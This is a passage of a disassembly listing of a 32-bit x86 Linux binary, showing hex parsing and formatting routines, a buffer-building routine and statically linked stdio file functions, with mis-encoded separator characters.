陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_80609A0: ; CODE XREF: sub_80608C8+C8j cmp [ebp+arg_0], 4 jnz loc_80608F4 loc_80609AA: ; CODE XREF: sub_80608C8+CEj add esi, 0FFFFFFFCh js loc_80608F4 mov edx, [ebp+var_58] push edx lea eax, [ebp+var_50] push eax push esi push ebx mov edx, [ebp+arg_4] push edx call sub_804D2A0 add esp, 14h test eax, eax jl loc_80608F4 add ebx, eax sub esi, eax push ebx movzx eax, word ptr [ebp+arg_C] push eax call sub_804D700 add ebx, 2 push ebx movzx eax, word ptr [ebp+arg_8] push eax call sub_804D700 add ebx, 2 add esp, 10h mov edx, [ebp+var_54] mov word ptr [edx+4], 100h cmp [ebp+arg_0], 0 jz loc_8060ADA cmp [ebp+arg_10], 0 jz loc_8060ADA add esi, 0FFFFFFF6h mov edx, [ebp+var_58] push edx lea eax, [ebp+var_50] push eax push esi push ebx mov edx, [ebp+arg_10] push edx call sub_804D2A0 add esp, 14h test eax, eax jl loc_80608F4 add ebx, eax push ebx push 0Ah call sub_804D700 add ebx, 2 push ebx movzx eax, word ptr [ebp+arg_8] push eax call sub_804D700 add ebx, 2 push ebx push 0 call sub_804D71C add ebx, 4 push ebx push 0 call sub_804D700 add ebx, 2 mov edx, [ebp+var_54] mov word ptr [edx+0Ah], 100h jmp short loc_8060ADA ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8060A70: ; CODE XREF: sub_80608C8+C2j mov eax, [ebp+arg_14] add eax, 0Bh cmp esi, eax jl loc_80608F4 mov byte ptr [ebx], 0 inc ebx push ebx movzx eax, word ptr [ebp+arg_C] push eax call sub_804D700 add ebx, 2 push ebx movzx eax, word ptr [ebp+arg_8] push eax call sub_804D700 add ebx, 2 push ebx push 0 call sub_804D71C add ebx, 4 push ebx movzx eax, word ptr [ebp+arg_14] push eax call sub_804D700 add ebx, 2 add esp, 20h cmp [ebp+arg_14], 0 jz short loc_8060AD1 mov edx, [ebp+arg_14] push edx push ebx mov edx, [ebp+arg_10] push edx call bcopy add ebx, [ebp+arg_14] loc_8060AD1: ; CODE XREF: sub_80608C8+1F6j mov edx, [ebp+var_54] mov word ptr [edx+6], 100h loc_8060ADA: ; CODE XREF: sub_80608C8+139j ; sub_80608C8+143j ... mov eax, ebx sub eax, edi loc_8060ADE: ; CODE XREF: sub_80608C8+31j lea esp, [ebp+var_64] pop ebx pop esi pop edi mov esp, ebp pop ebp retn sub_80608C8 endp ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_8060AE8 proc near ; CODE XREF: sub_8060B14+69p ; sub_8060B14+95p arg_0 = dword ptr 8 push ebp mov ebp, esp mov edx, [ebp+arg_0] lea eax, [edx-30h] cmp eax, 9 ja short loc_8060B04 mov al, dl add al, 0D0h and eax, 0FFh mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8060B04: ; CODE XREF: sub_8060AE8+Cj mov al, dl add al, 0C9h and eax, 0FFh mov esp, ebp pop ebp retn sub_8060AE8 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_8060B14 proc near var_14 = byte ptr -14h var_8 = dword ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 8 push edi push esi push ebx mov ebx, [ebp+arg_0] mov edi, [ebp+arg_4] xor esi, esi jmp loc_8060BBF ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8060B2C: ; CODE XREF: sub_8060B14+B0j cmp [ebp+arg_8], esi jbe loc_8060BCA cmp dl, 2Eh jz loc_8060BBF cmp dl, 2Bh jz short loc_8060BBF cmp dl, 2Fh jz short loc_8060BBF test dl, dl jge short loc_8060B50 loc_8060B4C: ; CODE XREF: sub_8060B14+66j ; sub_8060B14+79j ... xor eax, eax jmp short loc_8060BCC ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8060B50: ; CODE XREF: sub_8060B14+36j movzx ecx, dl mov [ebp+var_8], ecx mov eax, dword_8078FA0 test byte ptr [eax+ecx*2+1], 2 jz short loc_8060B6A mov eax, dword_8078FA8 mov dl, [eax+ecx*4] loc_8060B6A: ; CODE XREF: sub_8060B14+4Cj and edx, 0FFh mov eax, dword_8078FA0 test byte ptr [eax+edx*2+1], 10h jz short loc_8060B4C push edx call sub_8060AE8 mov [ebp+var_4], al mov dl, [ebx] add esp, 4 inc ebx test dl, dl jz short loc_8060B4C movzx eax, dl mov edx, dword_8078FA8 movzx edx, byte ptr [edx+eax*4] mov eax, dword_8078FA0 test byte ptr [eax+edx*2+1], 10h jz short loc_8060B4C push edx call sub_8060AE8 mov dl, al mov al, [ebp+var_4] shl al, 4 or al, dl mov [edi], al inc edi inc esi add esp, 4 loc_8060BBF: ; CODE XREF: sub_8060B14+11j ; sub_8060B14+24j ... mov dl, [ebx] inc ebx test dl, dl jnz loc_8060B2C loc_8060BCA: ; CODE XREF: sub_8060B14+1Bj mov eax, esi loc_8060BCC: ; CODE XREF: sub_8060B14+3Aj lea esp, [ebp+var_14] pop ebx pop esi pop edi mov esp, ebp pop ebp retn sub_8060B14 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_8060BD8 proc near ; CODE XREF: sub_805F7E4+5EBp var_14 = byte ptr -14h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 8 push edi push esi push ebx mov esi, [ebp+arg_4] mov edx, [ebp+arg_8] test edx, edx jz short loc_8060BF0 mov [ebp+var_4], edx jmp short loc_8060BFC ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8060BF0: ; CODE XREF: sub_8060BD8+11j mov edx, offset unk_807E450 mov [ebp+var_4], offset unk_807E450 loc_8060BFC: ; CODE XREF: sub_8060BD8+16j cmp [ebp+arg_0], 0FFh jle short loc_8060C0C mov [ebp+arg_0], 0FFh loc_8060C0C: ; CODE XREF: sub_8060BD8+2Bj xor ebx, ebx cmp [ebp+arg_0], ebx jle loc_8060D13 mov edi, [ebp+arg_0] test edi, 1 jz short loc_8060C70 mov al, [esi] shr al, 4 and eax, 0FFh mov ecx, edx inc edx cmp eax, 9 jg short loc_8060C38 add al, 30h jmp short loc_8060C3A ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8060C38: ; CODE XREF: sub_8060BD8+5Aj add al, 37h loc_8060C3A: ; CODE XREF: sub_8060BD8+5Ej mov [ecx], al mov al, [esi] and eax, 0Fh inc esi mov ecx, edx inc edx cmp eax, 9 jg short loc_8060C50 add al, 30h jmp short loc_8060C52 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8060C50: ; CODE XREF: sub_8060BD8+70j add al, 37h loc_8060C52: ; CODE XREF: sub_8060BD8+74j mov [ecx], al test bl, 1 jnz short loc_8060C65 lea eax, [ebx+1] cmp [ebp+arg_0], eax jle short loc_8060C65 mov byte ptr [edx], 2Eh inc edx loc_8060C65: ; CODE XREF: sub_8060BD8+7Fj ; sub_8060BD8+87j inc ebx cmp [ebp+arg_0], ebx jle loc_8060D13 nop loc_8060C70: ; CODE XREF: sub_8060BD8+48j ; sub_8060BD8+135j mov al, [esi] shr al, 4 and eax, 0FFh mov ecx, edx inc edx cmp eax, 9 jg short loc_8060C88 add al, 30h jmp short loc_8060C8A ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8060C88: ; CODE XREF: sub_8060BD8+A8j add al, 37h loc_8060C8A: ; CODE XREF: sub_8060BD8+ACj mov [ecx], al mov al, [esi] and eax, 0Fh inc esi mov ecx, edx inc edx cmp eax, 9 jg short loc_8060CA0 add al, 30h jmp short loc_8060CA2 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8060CA0: ; CODE XREF: sub_8060BD8+C0j add al, 37h loc_8060CA2: ; CODE XREF: sub_8060BD8+C4j mov [ecx], al test bl, 1 jnz short loc_8060CB5 lea eax, [ebx+1] cmp [ebp+arg_0], eax jle short loc_8060CB5 mov byte ptr [edx], 2Eh inc edx loc_8060CB5: ; CODE XREF: sub_8060BD8+CFj ; sub_8060BD8+D7j lea edi, [ebx+1] mov [ebp+var_8], edi mov al, [esi] shr al, 4 and eax, 0FFh mov ecx, edx inc edx cmp eax, 9 jg short loc_8060CD4 add al, 30h jmp short loc_8060CD6 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8060CD4: ; CODE XREF: sub_8060BD8+F3j add al, 37h loc_8060CD6: ; CODE XREF: sub_8060BD8+F7j mov [ecx], al mov al, [esi] and eax, 0Fh inc esi mov ecx, edx inc edx cmp eax, 9 jg short loc_8060CEC add al, 30h jmp short loc_8060CEE ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8060CEC: ; CODE XREF: sub_8060BD8+10Cj add al, 37h loc_8060CEE: ; CODE XREF: sub_8060BD8+110j mov [ecx], al mov edi, [ebp+var_8] test edi, 1 jnz short loc_8060D07 mov eax, edi inc eax cmp [ebp+arg_0], eax jle short loc_8060D07 mov byte ptr [edx], 2Eh inc edx loc_8060D07: ; CODE XREF: sub_8060BD8+121j ; sub_8060BD8+129j add ebx, 2 cmp [ebp+arg_0], ebx jg loc_8060C70 loc_8060D13: ; CODE XREF: sub_8060BD8+39j ; sub_8060BD8+91j mov byte ptr [edx], 0 mov eax, [ebp+var_4] lea esp, [ebp+var_14] pop ebx pop esi pop edi mov esp, ebp pop ebp retn sub_8060BD8 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_8060D24 proc near ; CODE XREF: fopen+30p arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] mov dword ptr [eax+40h], 0FFFFFFFFh or dword ptr [eax], 240Ch push eax call sub_80617C4 mov esp, ebp pop ebp retn sub_8060D24 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_8060D44 proc near ; CODE XREF: fclose+33p var_C = byte ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp push edi push esi push ebx mov ebx, [ebp+arg_0] cmp dword ptr [ebx+38h], 0 jge short loc_8060D5C mov eax, 0FFFFFFFFh jmp short loc_8060DD0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8060D5C: ; CODE XREF: sub_8060D44+Dj push ebx call sub_8061210 mov edi, eax push ebx call sub_8062368 mov eax, [ebx+50h] push ebx mov eax, [eax+84h] call eax mov esi, eax push 0 push 0 push 0 push ebx call sub_8061B6C mov dword ptr [ebx+0Ch], 0 mov dword ptr [ebx+4], 0 mov dword ptr [ebx+8], 0 mov dword ptr [ebx+14h], 0 mov dword ptr [ebx+10h], 0 mov dword ptr [ebx+18h], 0 push ebx call sub_8061788 mov dword ptr [ebx], 0FBAD240Ch mov dword ptr [ebx+38h], 0FFFFFFFFh mov dword ptr [ebx+40h], 0FFFFFFFFh mov eax, esi test eax, eax jnz short loc_8060DD0 mov eax, edi loc_8060DD0: ; CODE XREF: sub_8060D44+14j ; sub_8060D44+88j lea esp, [ebp+var_C] pop ebx pop esi pop edi mov esp, ebp pop ebp retn sub_8060D44 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_8060DDC proc near var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ebx mov ebx, [ebp+arg_0] cmp dword ptr [ebx+38h], 0 jl short loc_8060E11 mov eax, [ebx+14h] sub eax, [ebx+10h] push eax mov eax, [ebx+10h] push eax push ebx call sub_8060FA8 add esp, 0Ch test byte ptr [ebx], 40h jnz short loc_8060E11 mov eax, [ebx+50h] push ebx mov eax, [eax+84h] call eax add esp, 4 loc_8060E11: ; CODE XREF: sub_8060DDC+Bj ; sub_8060DDC+24j push ebx call sub_8061FC0 mov ebx, [ebp+var_4] mov esp, ebp pop ebp retn sub_8060DDC endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_8060E20 proc near ; CODE XREF: fopen+38p var_C = byte ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push edi push esi push ebx mov esi, [ebp+arg_0] mov edi, [ebp+arg_4] mov edx, [ebp+arg_8] xor ecx, ecx cmp dword ptr [esi+38h], 0 jge short loc_8060E92 movzx eax, byte ptr [edx] inc edx cmp eax, 72h jz short loc_8060E54 jg short loc_8060E4C cmp eax, 61h jz short loc_8060E74 jmp short loc_8060E88 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8060E4C: ; CODE XREF: sub_8060E20+20j cmp eax, 77h jz short loc_8060E60 jmp short loc_8060E88 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8060E54: ; CODE XREF: sub_8060E20+1Ej xor eax, eax mov ebx, 8 jmp short loc_8060E98 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8060E60: ; CODE XREF: sub_8060E20+2Fj mov eax, 1 mov ecx, 240h mov ebx, 4 jmp short loc_8060E98 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8060E74: ; CODE XREF: sub_8060E20+25j mov eax, 1 mov ecx, 440h mov ebx, 1004h jmp short loc_8060E98 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8060E88: ; CODE XREF: sub_8060E20+27j ; sub_8060E20+31j mov __errno, 16h loc_8060E92: ; CODE XREF: sub_8060E20+15j ; sub_8060E20+A6j ... xor eax, eax jmp short loc_8060F03 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8060E98: ; CODE XREF: sub_8060E20+3Bj ; sub_8060E20+4Fj ... cmp byte ptr [edx], 2Bh jz short loc_8060EA8 cmp byte ptr [edx], 62h jnz short loc_8060EB3 cmp byte ptr [edx+1], 2Bh jnz short loc_8060EB3 loc_8060EA8: ; CODE XREF: sub_8060E20+7Bj mov eax, 2 and ebx, 1000h loc_8060EB3: ; CODE XREF: sub_8060E20+80j ; sub_8060E20+86j push 1B6h or eax, ecx push eax push edi call open add esp, 0Ch test eax, eax jl short loc_8060E92 mov [esi+38h], eax mov eax, [esi] and eax, 0FFFFEFF3h or eax, ebx mov [esi], eax test bh, 10h jz short loc_8060EFB mov eax, [esi+50h] push 3 push 2 push 0 push esi mov eax, [eax+44h] call eax add esp, 10h cmp eax, 0FFFFFFFFh jnz short loc_8060EFB cmp __errno, 1Dh jnz short loc_8060E92 loc_8060EFB: ; CODE XREF: sub_8060E20+B9j ; sub_8060E20+D0j push esi call sub_80617C4 mov eax, esi loc_8060F03: ; CODE XREF: sub_8060E20+74j lea esp, [ebp+var_C] pop ebx pop esi pop edi mov esp, ebp pop ebp retn sub_8060E20 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_8060F10 proc near var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ebx mov ebx, [ebp+arg_0] mov eax, [ebp+arg_4] cmp dword ptr [ebx+38h], 0 jge short loc_8060F4D mov [ebx+38h], eax and dword ptr [ebx], 0FFFFFFF3h or byte ptr [ebx], 40h mov dword ptr [ebx+40h], 0FFFFFFFFh mov eax, [ebx+50h] push 3 push 1 push 0 push ebx mov eax, [eax+44h] call eax cmp eax, 0FFFFFFFFh jnz short loc_8060F54 cmp __errno, 1Dh jz short loc_8060F54 loc_8060F4D: ; CODE XREF: sub_8060F10+Ej xor eax, eax jmp short loc_8060F56 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8060F54: ; CODE XREF: sub_8060F10+32j ; sub_8060F10+3Bj mov eax, ebx loc_8060F56: ; CODE XREF: sub_8060F10+3Fj mov ebx, [ebp+var_4] mov esp, ebp pop ebp retn sub_8060F10 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_8060F60 proc near var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx mov ebx, [ebp+arg_0] mov edx, [ebp+arg_4] mov eax, [ebp+arg_8] push eax push edx push ebx call sub_8061E44 test eax, eax jz short loc_8060F9C mov eax, [ebx+1Ch] mov [ebx+18h], eax mov [ebx+14h], eax mov [ebx+10h], eax mov eax, [ebx+1Ch] mov [ebx+0Ch], eax mov eax, [ebx+1Ch] mov [ebx+4], eax mov eax, [ebx+1Ch] mov [ebx+8], eax mov eax, ebx jmp short loc_8060F9E ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8060F9C: ; CODE XREF: sub_8060F60+17j xor eax, eax loc_8060F9E: ; CODE XREF: sub_8060F60+39j mov ebx, [ebp+var_4] mov esp, ebp pop ebp retn sub_8060F60 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_8060FA8 proc near ; CODE XREF: sub_8060DDC+19p ; sub_8061118+89p ... var_C = byte ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push edi push esi push ebx mov ebx, [ebp+arg_0] mov esi, [ebp+arg_8] test esi, esi jnz short loc_8060FC0 xor eax, eax jmp loc_8061061 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8060FC0: ; CODE XREF: sub_8060FA8+Ej test byte ptr [ebx+1], 10h jz short loc_8060FD0 mov dword ptr [ebx+40h], 0FFFFFFFFh jmp short loc_8060FF5 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8060FD0: ; CODE XREF: sub_8060FA8+1Cj mov eax, [ebx+8] cmp [ebx+10h], eax jz short loc_8060FF5 mov eax, [ebx+50h] push 1 mov edx, [ebx+10h] sub edx, [ebx+8] push edx push ebx mov eax, [eax+7Ch] call eax add esp, 0Ch cmp eax, 0FFFFFFFFh jz short loc_806105C mov [ebx+40h], eax loc_8060FF5: ; CODE XREF: sub_8060FA8+25j ; sub_8060FA8+2Ej mov eax, [ebx+50h] push esi mov ecx, [ebp+arg_4] push ecx push ebx mov eax, [eax+74h] call eax mov edi, eax add esp, 0Ch cmp word ptr [ebx+44h], 0 jz short loc_8061025 push esi mov ecx, [ebp+arg_4] push ecx movzx eax, word ptr [ebx+44h] dec eax push eax call sub_80620C8 inc ax mov [ebx+44h], ax loc_8061025: ; CODE XREF: sub_8060FA8+65j mov eax, [ebx+1Ch] mov [ebx+0Ch], eax mov eax, [ebx+1Ch] mov [ebx+4], eax mov eax, [ebx+1Ch] mov [ebx+8], eax mov eax, [ebx+1Ch] mov [ebx+14h], eax mov [ebx+10h], eax test dword ptr [ebx], 202h jz short loc_8061050 mov eax, [ebx+1Ch] jmp short loc_8061053 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8061050: ; CODE XREF: sub_8060FA8+9Ej mov eax, [ebx+20h] loc_8061053: ; CODE XREF: sub_8060FA8+A3j mov [ebx+18h], eax xor eax, eax cmp edi, esi jz short loc_8061061 loc_806105C: ; CODE XREF: sub_8060FA8+48j mov eax, 0FFFFFFFFh loc_8061061: ; CODE XREF: sub_8060FA8+12j ; sub_8060FA8+B2j lea esp, [ebp+var_C] pop ebx pop esi pop edi mov esp, ebp pop ebp retn sub_8060FA8 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_806106C proc near var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ebx mov ebx, [ebp+arg_0] test byte ptr [ebx], 4 jnz short loc_80610F6 mov eax, [ebx+4] cmp [ebx+8], eax ja loc_806110C cmp dword ptr [ebx+1Ch], 0 jnz short loc_8061093 push ebx call sub_8061BB8 add esp, 4 loc_8061093: ; CODE XREF: sub_806106C+1Cj test dword ptr [ebx], 202h jz short loc_80610A0 call sub_80621D0 loc_80610A0: ; CODE XREF: sub_806106C+2Dj push ebx call sub_806186C mov edx, [ebx+50h] mov eax, [ebx+20h] sub eax, [ebx+1Ch] push eax mov eax, [ebx+1Ch] push eax push ebx mov eax, [edx+6Ch] call eax mov edx, eax test edx, edx jg short loc_80610D5 jz short loc_80610CB cmp __errno, 0Bh jnz short loc_80610D0 loc_80610CB: ; CODE XREF: sub_806106C+54j or byte ptr [ebx], 10h jmp short loc_80610D3 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_80610D0: ; CODE XREF: sub_806106C+5Dj or byte ptr [ebx], 20h loc_80610D3: ; CODE XREF: sub_806106C+62j xor edx, edx loc_80610D5: ; CODE XREF: sub_806106C+52j mov eax, [ebx+1Ch] mov [ebx+4], eax mov [ebx+0Ch], eax mov ecx, [ebx+1Ch] add ecx, edx mov [ebx+8], ecx mov eax, [ebx+1Ch] mov [ebx+18h], eax mov [ebx+14h], eax mov [ebx+10h], eax test edx, edx jnz short loc_8061100 loc_80610F6: ; CODE XREF: sub_806106C+Aj mov eax, 0FFFFFFFFh jmp short loc_806110F ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8061100: ; CODE XREF: sub_806106C+88j cmp dword ptr [ebx+40h], 0FFFFFFFFh jz short loc_8061109 add [ebx+40h], edx loc_8061109: ; CODE XREF: sub_806106C+98j mov eax, [ebx+4] loc_806110C: ; CODE XREF: sub_806106C+12j movzx eax, byte ptr [eax] loc_806110F: ; CODE XREF: sub_806106C+8Fj mov ebx, [ebp+var_4] mov esp, ebp pop ebp retn sub_806106C endp ; 